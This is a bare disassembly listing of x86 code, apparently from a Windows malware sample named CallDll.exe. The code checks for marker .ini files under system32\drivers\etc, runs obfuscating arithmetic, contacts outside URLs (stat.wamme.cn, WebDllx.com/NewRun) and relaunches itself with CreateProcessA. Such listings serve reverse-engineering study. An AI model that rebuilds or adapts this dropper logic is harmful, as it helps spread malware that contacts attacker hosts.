add eax, 0x74
push 0x68
push eax
mov dword [0x456838], ebx
call fcn.0043c9da
add esp, 0x2c
push 0x2710
call edi
mov esi, dword [0x456824]
mov eax, 0x606c8017
imul esi
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x45682c]
mov eax, 0xc4570565
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x329dfa79
imul esi
mov eax, dword [0x456830]
sar edx, 0x14
imul eax, eax, 0x53af19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456838]
imul edx, edx, 0x15bc8b
sub ebx, ecx
add ebx, edx
add ebx, eax
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], ebx
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
je 0x40404e
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042a389
add esp, 8
cmp eax, 0xffffffff
jne 0x404055
push 0
call fcn.0042a556
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x404061
mov ecx, dword [0x456838]
mov eax, 0x606c8017
imul ecx
imul ecx, ecx, 0x15bc8b
sar edx, 0x15
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45681c]
mov eax, 0x622f07f9
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, dword [0x456824]
sub eax, ecx
mov ecx, dword [0x456830]
imul ecx, ecx, 0x53af19
add eax, ecx
sub eax, esi
add eax, 0x42333a
push 0x132b600
mov dword [0x45681c], eax
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov ecx, dword [0x456824]
mov esi, dword [0x45681c]
mov eax, 0x606c8017
imul esi, esi, 0x536f78
imul ecx
mov ecx, dword [0x456838]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xbc70579
imul ecx
sar edx, 0x10
push 0
mov ebx, edx
add esi, edx
mov eax, 0x61e4609d
imul ecx
imul ecx, ecx, 0x45ab63
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
sar edx, 0x15
push 0x45680c
mov eax, edx
shr eax, 0x1f
shr ebx, 0x1f
push 0
add eax, edx
add ebx, esi
sub ebx, eax
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
sub ebx, ecx
push 0x68
push eax
mov dword [0x456828], ebx
call fcn.0043c9da
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45682c]
mov esi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul esi, esi, 0x54f550
imul ecx
sar edx, 0x15
mov ecx, edx
mov eax, dword [0x456828]
mov ebx, dword [0x456834]
imul eax, eax, 0x779018
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456818]
imul edx, edx, 0x53af19
sub esi, ecx
add edx, ebx
add edx, esi
lea ecx, [eax + edx - 0x45ab63]
mov dword [0x456824], ecx
xor esi, esi
jmp 0x4041c0
mov edx, dword [0x456820]
imul ecx, ecx, 0x45ab63
mov ebx, edx
mov eax, 0x329dfa79
imul ebx, ebx, 0x537276
imul edx
sar edx, 0x14
add ebx, edx
mov eax, edx
mov edx, dword [0x456830]
imul edx, edx, 0x31e0ba
shr eax, 0x1f
add eax, ebx
add eax, edx
add eax, ecx
mov ecx, dword [0x45681c]
mov ebx, eax
mov eax, 0x224214b1
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
push 0x2710
mov dword [0x45682c], ebx
call edi
mov eax, esi
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x404236
push edx
call fcn.00401ec0
add esp, 4
mov ecx, dword [0x456824]
inc esi
jmp 0x4041c0
mov ecx, dword [0x45682c]
mov edi, dword [str._r_____r____]
mov eax, 0x622f07f9
imul edi, edi, 0x54f550
imul ecx
mov ecx, dword [0x456818]
sar edx, 0x15
imul ecx, ecx, 0x53af19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456828]
imul edx, edx, 0x779018
sub edi, eax
add ecx, dword [0x456834]
add ecx, edi
lea eax, [edx + ecx - 0x45ab63]
push 0x493e0
mov dword [0x456824], eax
call esi
push 0
call fcn.0042a556
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xff8]
rep stosd dword es:[edi], eax
push 0x200
lea ecx, [ebp - 0xa14]
push ecx
push eax
mov dword [ebp - 0xff8], 0x44
mov dword [ebp - 0xfcc], 1
mov word [ebp - 0xfc8], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x1008]
push edx
lea eax, [ebp - 0xff8]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0xa14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x404297
ret